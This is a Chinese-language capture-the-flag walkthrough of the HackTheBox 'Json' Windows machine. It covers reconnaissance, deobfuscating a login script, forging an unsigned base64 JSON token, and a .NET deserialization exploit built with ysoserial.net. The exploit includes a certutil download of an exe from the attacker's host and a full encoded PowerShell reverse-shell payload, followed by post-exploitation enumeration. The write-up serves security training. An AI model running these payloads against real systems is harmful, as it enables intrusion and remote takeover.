Json Writeup
- 250527: Fixed internal link.
沒有TL;DR,我就是囉哩八B嗦。
靶機資訊
Machine | Description |
---|---|
Name | Json |
OS | Windows |
Difficulty | Medium |
Author | Cyb3rb0b |
情蒐 Recon
服務掃描
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-07T01:42:27
|_ start_date: 2025-05-07T01:39:18
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:6b:67 (VMware)
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ sudo nmap -Pn -sCV -sS -p- --min-rate 4200 --script-args http.useragnet="Mozilla/5.0 (Windows NT 10.0; WOW64; x64) Apple
37.36" 10.129.227.191
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 21:41 EDT
Nmap scan report for 10.129.227.191
Host is up (0.062s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.60 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-07T01:42:27
|_ start_date: 2025-05-07T01:39:18
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:6b:67 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.23 seconds
HTTP - Port 80
點開網站,發現頁面先載入dashboard,才檢查到沒登入,然後自動跳轉到/login.html
。
這種檢查機制多半有問題,於是想攔截封包,但Burp Suite卻攔截不到/
與/login.html
?!
為啥?
瀏覽器的暫存機制
如果Burp Suite沒有攔截到流量,除了Burp故障外,最有可能的原因是瀏覽器本身根本沒發送HTTP請求。 這通常表示瀏覽器正在使用暫存於本機的資料,而不是重新請求伺服器網頁內容。 我們可以透過重新啟動瀏覽器,並全程啟用Burp阻攔,驗證首次連線的流量可以被攔截。
但是什麼造成Firefox暫存網頁資料呢?
使用curl
查看網頁的標頭(headers),尋找伺服器要求的暫存設定:
在回應中,可見兩個與暫存相關的標頭:
瀏覽器第一次造訪後保存這些值。當再次請求同一內容時,瀏覽器會先檢查本機暫存,如果找到對應資源,它會使用這些標頭的內容,,向伺服器確認是否有更新,而不是直接下載整個資料。雖然此標的的回應中沒有明確設定Cache-Control
或Expires
標頭來指定時效,瀏覽器仍會根據自身算法決定暫存時長,通常都是日期。
靶機的內容當然不會更新,瀏覽器自然不會真的發送連線,Burp也就攔不到了。
關閉Firefox暫存
把暫存機制關閉,一勞永逸。 反正大家都吃到飽嘛<3
以下設定步驟:
- 在網址欄輸入
about:config
,並點擊「I’ll be careful, I promise!」,進入Firefox設定頁 - 輸入
browser.cache.disk.enable
,並設值為False - 輸入
browser.cache.memory.enable
,並設值為False - 重新啟動Firefox
- Enjoy,這是沒有暫存的流量世界
JavaScript反混淆
可以用Burp攔劫後,好像沒啥用。
那就靜態分析吧!發現靶機的前端framework是Angular,並且開啟頁面時載入/js/app.min.js
!
看看app.min.js
的內容:
var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])
真的是謝囉,是混淆過的JavaScript,但混淆的手法很單純,可以輕易被網上的反混淆工具解開。
在此使用de4js反混淆,直接選擇「Array」就可以解開了:
angular.module('json', ['ngCookies']).controller('loginController', ['$http', '$scope', '$cookies', function (_0x30f6x1, _0x30f6x2, _0x30f6x3) {
_0x30f6x2.credentials = {
UserName: '',
Password: ''
};
_0x30f6x2.error = {
message: '',
show: false
};
var _0x30f6x4 = _0x30f6x3.get('OAuth2');
if (_0x30f6x4) {
window.location.href = 'index.html'
};
_0x30f6x2.login = function () {
_0x30f6x1.post('/api/token', _0x30f6x2.credentials).then(function (_0x30f6x5) {
window.location.href = 'index.html'
}, function (_0x30f6x6) {
_0x30f6x2.error.message = 'Invalid Credentials.';
_0x30f6x2.error.show = true;
console.log(_0x30f6x6)
})
}
}]).controller('principalController', ['$http', '$scope', '$cookies', function (_0x30f6x1, _0x30f6x2, _0x30f6x3) {
var _0x30f6x4 = _0x30f6x3.get('OAuth2');
if (_0x30f6x4) {
_0x30f6x1.get('/api/Account/', {
headers: {
"Bearer": _0x30f6x4
}
}).then(function (_0x30f6x5) {
_0x30f6x2.UserName = _0x30f6x5.data.Name
}, function (_0x30f6x6) {
_0x30f6x3.remove('OAuth2');
window.location.href = 'login.html'
})
} else {
window.location.href = 'login.html'
}
}])
這段js分兩個controllers,loginController
和principalController
處理使用者授權:
- loginController
- 先檢查OAuth2的cookie是否存在,若存在立刻將使用者導向
/index.html
- 若不存在cookie值,則停留在
/login.html
- 當使用者輸入帳密,POST帳密至API(
/api/token
) - 登入成功跳至
/index.html
,失敗顯示「Invalid Credentials.」轉回/login.html
- 先檢查OAuth2的cookie是否存在,若存在立刻將使用者導向
- principalController
- 先檢查OAuth2的cookie是否存在,若不存在立刻將使用者導向
/login.html
- 若存在,以
Bearer
挾帶OAuth2,GET API(/api/Account/
) - 如果API回傳成功,則顯示使用者名稱
- 如果API失敗,刪除舊有的cookies,並將使用者導向
/login.html
- 先檢查OAuth2的cookie是否存在,若不存在立刻將使用者導向
這樣有什麼問題?由於沒有在第一時間確認使用者是否具有合法Cookies,使用者可以短暫取得/index.html
,如果該頁面暴露沒有token保護的API,攻擊者就可以利用。
但這次好像沒有,我懶得看,所以先戳戳看登入吧!
弱密碼登入
還沒爆破就登入,有夠哭XD
奇怪的Token
登入後沒什麼功能,dashboard是假的Qq
所以來看看這個奇怪的token吧!
HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Wed, 07-May-2025 09:25:22 GMT; path=/
X-Powered-By: ASP.NET
Date: Wed, 07 May 2025 09:23:22 GMT
Content-Length: 0
這段OAuth2的token長得很Base64,所以試試看解碼:
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ echo -n "eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" | base64 -d | jq
{
"Id": 1,
"UserName": "admin",
"Password": "21232f297a57a5a743894a0e4a801fc3",
"Name": "User Admin HTB",
"Rol": "Administrator"
}
結果token就只是使用者的Json資料,於是嘗試回傳竄改內容檢測是否有驗證機制。
怎麼不懷疑是jwt?
JWT有三段啊!長得像是:
HEADER . PAYLOAD . VERIFY_SIGNATURE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI2OTQyMCIsIm5hbWUiOiJKb2huIFdpY2siLCLlkKciOiLllablt7Tlt7QifQ.-KGxpl4Y90TDbbJDxTvK_9uJ7lWDai8nn6qBW75AV1Q
如果Header設定前章演算法是「無」("alg": "none"
),則僅有兩段,但仍然有兩個點(header.payload.
)。
不良驗證機制
從剛才principalController的原始碼內容得知,該APP以Bearer
夾帶OAuth2 token(base64編碼的JSON資料)送至API(/api/Account/
),確認token是否合法。
於是在Burp Suite裡依樣畫葫蘆送出剛才登入取得的token,發現API回傳的內容正式是token base64解碼的JSON資料。
那麼,竄改密碼的token能夠過驗證嗎?
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ echo -n '{"Id":1,"UserName":"admin","Password":"cool_password","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0
eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiY29vbF9wYXNzd29yZCIsIk5hbWUiOiJVc2VyIEFkbWluIEhUQiIsIlJvbCI6IkFkbWluaXN0cmF0b3IifQ==
嘗試送出竄改後的token:
結果竟然可以正常回傳資料,由此可知後端根本沒有檢查token密碼是否正確!
那麼,它會檢查整個爛掉的token嗎?
不會,伺服器不但沒有檢查token的結構是不是Json,還直接嘗試 反序列化 內容!
反序列化弱點RCE
什麼是(反)序列化?
在探討如何攻擊反序列化弱點之前,先理解「序列化」的基本概念。 簡單來說,序列化是指將程式中的資料結構或是物件(object),轉換成可以儲存或傳輸格式的過程,而反序列化則是將資料還原成可用物件的逆向過程。
舉個例子說明,在C2_A創建一個新的Victim
物件,victim01
:
use std::fs::File;
use std::io::{self, Write};
use std::net::IpAddr;
use serde::{Serialize, Deserialize};
#[derive(Serialize, Deserialize, Debug)]
struct Victim {
hostname: String,
ip: IpAddr,
mac: String
}
fn main() -> io::Result<()> {
let victim01 = Victim {
hostname: String::from("pc01"),
ip: "192.168.1.77".parse().expect("Bad IP format."),
mac: String::from("38:DE:AD:BE:EF:FF")
};
Ok(())
}
如果現在要將victim01
物件傳遞到另一台C2 server(C2_B),要先將該物件轉換成可傳輸資料類型,如JSON:
...
fn main() -> io::Result<()> {
let victim01 = Victim {
hostname: String::from("pc01"),
ip: "192.168.1.77".parse().unwrap(),
mac: String::from("38:DE:AD:BE:EF:FF")
};
// 將victim序列化成JSON字串
let serialized_data = serde_json::to_string(&victim01).unwrap();
// 寫入檔案
let mut fs = File::create("victim01.json")?;
fs.write_all(serialized_data.as_bytes())?;
Ok(())
}
然後將JSON檔案傳到C2_B,再讀取資料還原成victim01
物件。
use std::fs::File;
use std::io::{self, BufReader};
use std::net::IpAddr;
use serde::{Serialize, Deserialize};
#[derive(Serialize, Deserialize, Debug)]
struct Victim {
hostname: String,
ip: IpAddr,
mac: String
}
fn main() -> io::Result<()> {
// 讀取JSON檔案
let fs = File::open("victim01.json")?;
let reader = BufReader::new(fs);
// 反序列化JSON資料成物件
let victim01: Victim = serde_json::from_reader(reader)?;
println!("Hostname: {}, \nip: {}, \nmac: {}", victim01.hostname, victim01.ip, victim01.mac);
}
這樣一來,C2_B也能取得完整的victim01
資料。
為什麼反序列化是弱點?
反序列化本身不是弱點,但不安全的反序列化處理,也就是任意處理不受信任的輸入資料是未適當驗證,就會成為漏洞的源頭。
.NET框架漏洞利用條件
本次靶機基於.NET框架,在反序列漏洞利用中,需要同時滿足兩個關鍵條件3:
-
不安全的反序列化引擎
必須使用以下不安全的引擎之一:
- BinaryFormatter
- NetDataContractSerializer
- SoapFormatter
- XmlSerializer(特定設定下)
- 其他…
-
可利用的gadget chain
當這些條件滿足時,攻擊者就能執行任意程式碼。
ysoserial
生產payload
事不宜遲,使用針對.NET反序列化攻擊的工具ysoserial.net
產生payload。
由於我沒有深入探討目標系統背後的原理,所以依據經驗使用
ObjectDataProvider
這個gadget生成payload。如果行不通,再嘗試其他gadget。
PS C:\shares\Release> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "certutil.exe -urlcache -f http://10.10.14.2/666.exe bad.exe"
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIGNlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLWYgaHR0cDovLzEwLjEwLjE0LjIvNjY2LmV4ZSBiYWQuZXhlJ10NCiAgICB9LA0KICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30NCn0=
送出惡意token後,成功檢測到標的回連本機HTTP server的流量。
既然測試payload可行,就可以進一步準備正式的reverse shell的payload:
PS C:\shares\Release> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAOAAwACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBvd2Vyc2hlbGwgLWUgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQXdBQzRBTVFBd0FDNEFNUUEwQUM0QU5RQWlBQ3dBT0FBd0FDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDQUFQUUFnQUNRQVl3QnNBR2tBWlFCdUFIUUFMZ0JIQUdVQWRBQlRBSFFBY2dCbEFHRUFiUUFvQUNrQU93QmJBR0lBZVFCMEFHVUFXd0JkQUYwQUpBQmlBSGtBZEFCbEFITUFJQUE5QUNBQU1BQXVBQzRBTmdBMUFEVUFNd0ExQUh3QUpRQjdBREFBZlFBN0FIY0FhQUJwQUd3QVpRQW9BQ2dBSkFCcEFDQUFQUUFnQUNRQWN3QjBBSElBWlFCaEFHMEFMZ0JTQUdVQVlRQmtBQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQWdBREFBTEFBZ0FDUUFZZ0I1QUhRQVpRQnpBQzRBVEFCbEFHNEFad0IwQUdnQUtRQXBBQ0FBTFFCdUFHVUFJQUF3QUNrQWV3QTdBQ1FBWkFCaEFIUUFZUUFnQUQwQUlBQW9BRTRBWlFCM0FDMEFUd0JpQUdvQVpRQmpBSFFBSUFBdEFGUUFlUUJ3QUdVQVRnQmhBRzBBWlFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVkFCbEFIZ0FkQUF1QUVFQVV3QkRBRWtBU1FCRkFHNEFZd0J2QUdRQWFRQnVBR2NBS1FBdUFFY0FaUUIwQUZNQWRBQnlBR2tBYmdCbkFDZ0FKQUJpQUhrQWRBQmxBSE1BTEFBd0FDd0FJQUFrQUdrQUtRQTdBQ1FBY3dCbEFHNEFaQUJpQUdFQVl3QnJBQ0FBUFFBZ0FDZ0FhUUJsQUhnQUlBQWtBR1FBWVFCMEFHRUFJQUF5QUQ0QUpnQXhBQ0FBZkFBZ0FFOEFkUUIwQUMwQVV3QjBBSElBYVFCdUFHY0FJQUFwQURzQUpBQnpBR1VBYmdCa0FHSUFZUUJqQUdzQU1nQWdBRDBBSUFBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBZ0FDc0FJQUFpQUZBQVV3QWdBQ0lBSUFBckFDQUFLQUJ3QUhjQVpBQXBBQzRBVUFCaEFIUUFhQUFnQUNzQUlBQWlBRDRBSUFBaUFEc0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFJQUE5QUNBQUtBQmJBSFFBWlFCNEFIUUFMZ0JsQUc0QVl3QnZBR1FBYVFCdUFHY0FYUUE2QURvQVFRQlRBRU1BU1FCSkFDa0FMZ0JIQUdVQWRBQkNBSGtBZEFCbEFITUFLQUFrQUhNQVpRQnVBR1FBWWdCaEFHTUFhd0F5QUNrQU93QWtBSE1BZEFCeUFHVUFZUUJ0QUM0QVZ3QnlBR2tBZEFCbEFDZ0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMQUF3QUN3QUpBQnpBR1VBYmdCa0FHSUFlUUIwQUdVQUxnQk1BR1VBYmdCbkFIUUFhQUFwQURzQUpBQnpBSFFBY2dCbEFHRUFiUUF1QUVZQWJBQjFBSE1BYUFBb0FDa0FmUUE3QUNRQVl3QnNBR2tBWlFCdUFIUUFMZ0JEQUd3QWJ3QnpBR1VBS0FBcEFBPT0nXQ0KICAgIH0sDQogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQ0KfQ==
成功!
PS C:\Users> ls u*\Des*\*
Directory: C:\Users\userpool\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 5/7/2025 9:44 PM 34 user.txt
PS C:\Users> cat u*\Des*\*.txt
2f97c1f842f734df08680f9f6346b726
內部探勘
詳細列出目錄後,發現除了Administrator
,還有另一個使用者superadmin
。
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 5/22/2019 4:52 PM .NET v2.0
d---- 5/22/2019 4:52 PM .NET v2.0 Classic
d---- 5/22/2019 4:52 PM .NET v4.5
d---- 5/22/2019 4:52 PM .NET v4.5 Classic
d---- 3/17/2021 11:01 AM Administrator
d---- 5/22/2019 4:52 PM Classic .NET AppPool
d-r-- 8/22/2013 11:39 AM Public
d---- 5/22/2019 5:37 PM superadmin
d---- 5/22/2019 5:07 PM userpool
經過進一步調查系統、文件和服務,發現了一個特殊程式。
本階段調查其餘內容
PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 5/22/2019 4:32 PM inetpub
d---- 8/22/2013 11:52 AM PerfLogs
d---- 8/8/2019 7:04 PM Program Files
d---- 8/8/2019 7:04 PM Program Files (x86)
d---- 5/22/2019 6:40 PM sources
d---- 5/23/2019 3:11 PM tmp
d-r-- 3/17/2021 11:00 AM Users
d---- 3/17/2021 7:55 AM Windows
-a--- 5/23/2019 4:43 PM 22 password.txt
PS C:\> cat pa*
Jajaja
Not Correct
PS C:\tmp> ls
Directory: C:\tmp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 5/7/2025 11:18 PM 1164114 log.txt
PS C:\tmp> cat log.txt
...
Wednesday, May 7, 2025 -- Upload File password.txt
Wednesday, May 7, 2025 -- System.Net.WebException: The remote server returned an error: (550) File unavailable (e.g., file not found, no access).
at System.Net.FtpWebRequest.SyncRequestCallback(Object obj)
at System.Net.FtpWebRequest.RequestCallback(Object obj)
at System.Net.CommandStream.Dispose(Boolean disposing)
at System.IO.Stream.Close()
at System.IO.Stream.Dispose()
at System.Net.ConnectionPool.Destroy(PooledStream pooledStream)
at System.Net.ConnectionPool.PutConnection(PooledStream pooledStream, Object owningObject, Int32 creationTimeout, Boolean canReuse)
at System.Net.FtpWebRequest.FinishRequestStage(RequestStage stage)
at System.Net.FtpWebRequest.GetRequestStream()
at SyncLocation.Service1.Copy()
...
PS C:\> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 844
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 396
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 736
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 768
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 532
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 492
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 1592
TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 500
TCP 10.129.167.171:139 0.0.0.0:0 LISTENING 4
TCP 10.129.167.171:49554 10.10.14.5:80 ESTABLISHED 2460
TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 844
